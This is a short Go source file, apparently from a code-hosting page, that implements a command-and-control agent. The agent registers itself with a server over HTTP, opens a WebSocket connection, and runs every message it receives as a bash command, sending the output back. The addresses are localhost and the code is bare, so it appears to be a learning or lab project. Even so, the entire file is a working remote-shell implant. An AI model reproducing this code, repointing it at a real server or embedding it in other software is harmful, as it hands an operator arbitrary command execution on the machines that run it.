119 lines
2.5 KiB
Go
119 lines
2.5 KiB
Go
package main
|
|
|
|
import (
|
|
// "bytes"
|
|
// "encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"net/url"
|
|
"os/exec"
|
|
// "time"
|
|
|
|
"github.com/gorilla/websocket"
|
|
)
|
|
|
|
const(
|
|
webServerAddr = "127.0.0.1:3333"
|
|
webSocketAddr = "127.0.0.1:5555"
|
|
registerURL = "http://" + webServerAddr + "/agents"
|
|
wsURL = "ws://" + webSocketAddr + "/ws"
|
|
)
|
|
|
|
type Agent struct {
|
|
AgentName string `json:"agentName"`
|
|
AgentID string `json:"agentId"`
|
|
InitialContact string `json:"initialContact"`
|
|
LastContact string `json:"lastContact"`
|
|
}
|
|
|
|
|
|
var conn *websocket.Conn
|
|
|
|
func registerAgent(agentName string, agentId string) error {
|
|
// agent:= Agent{
|
|
// AgentName: agentName,
|
|
// InitialContact: time.Now().Format(time.RFC3339),
|
|
// LastContact: time.Now().Format(time.RFC3339),
|
|
// }
|
|
|
|
// jsonData, err := json.Marshal(agent)
|
|
// if err != nil {
|
|
// return fmt.Errorf("Error marshaling agent data: %v", err)
|
|
// }
|
|
|
|
// resp, err := http.Post(registerURL, "application/json", bytes.NewBuffer(jsonData))
|
|
|
|
form := url.Values{}
|
|
form.Add("agentId", agentId)
|
|
form.Add("agentName", agentName)
|
|
|
|
resp, err := http.PostForm(registerURL, form)
|
|
if err != nil {
|
|
return fmt.Errorf("Error registering agent: %v", err)
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
if resp.StatusCode != http.StatusCreated {
|
|
return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
|
|
}
|
|
|
|
log.Printf("Agent %s successfully registered.", agentName)
|
|
return nil
|
|
}
|
|
|
|
|
|
func connectToWebSocket() error {
|
|
var err error
|
|
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
|
|
if err != nil {
|
|
return fmt.Errorf("Failed to connect to WebSocket: %v", err)
|
|
}
|
|
|
|
log.Println("WebSocket connection established")
|
|
return nil
|
|
}
|
|
|
|
func listenForCommands() {
|
|
defer conn.Close()
|
|
|
|
for {
|
|
_, message, err := conn.ReadMessage()
|
|
if err != nil {
|
|
log.Printf("Error reading message: %v", err)
|
|
break
|
|
}
|
|
|
|
command := string(message)
|
|
log.Printf("Received command: %s", command)
|
|
|
|
cmd := exec.Command("bash", "-c", command)
|
|
output, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
output = append(output, []byte(fmt.Sprintf("\n Error executing command: %v", err))...)
|
|
}
|
|
|
|
if err := conn.WriteMessage(websocket.TextMessage, output); err != nil {
|
|
log.Printf("Error sending output: %v", err)
|
|
break
|
|
}
|
|
|
|
log.Printf("Output sent to server.")
|
|
}
|
|
}
|
|
|
|
func main() {
|
|
agentName := "Agent-001"
|
|
agentId := "1234"
|
|
|
|
if err := registerAgent(agentName, agentId); err != nil {
|
|
log.Fatalf("Agent registration failed: %v", err)
|
|
}
|
|
|
|
if err := connectToWebSocket(); err != nil {
|
|
log.Fatalf("Websocket connection failed: %v", err)
|
|
}
|
|
|
|
listenForCommands()
|
|
}
|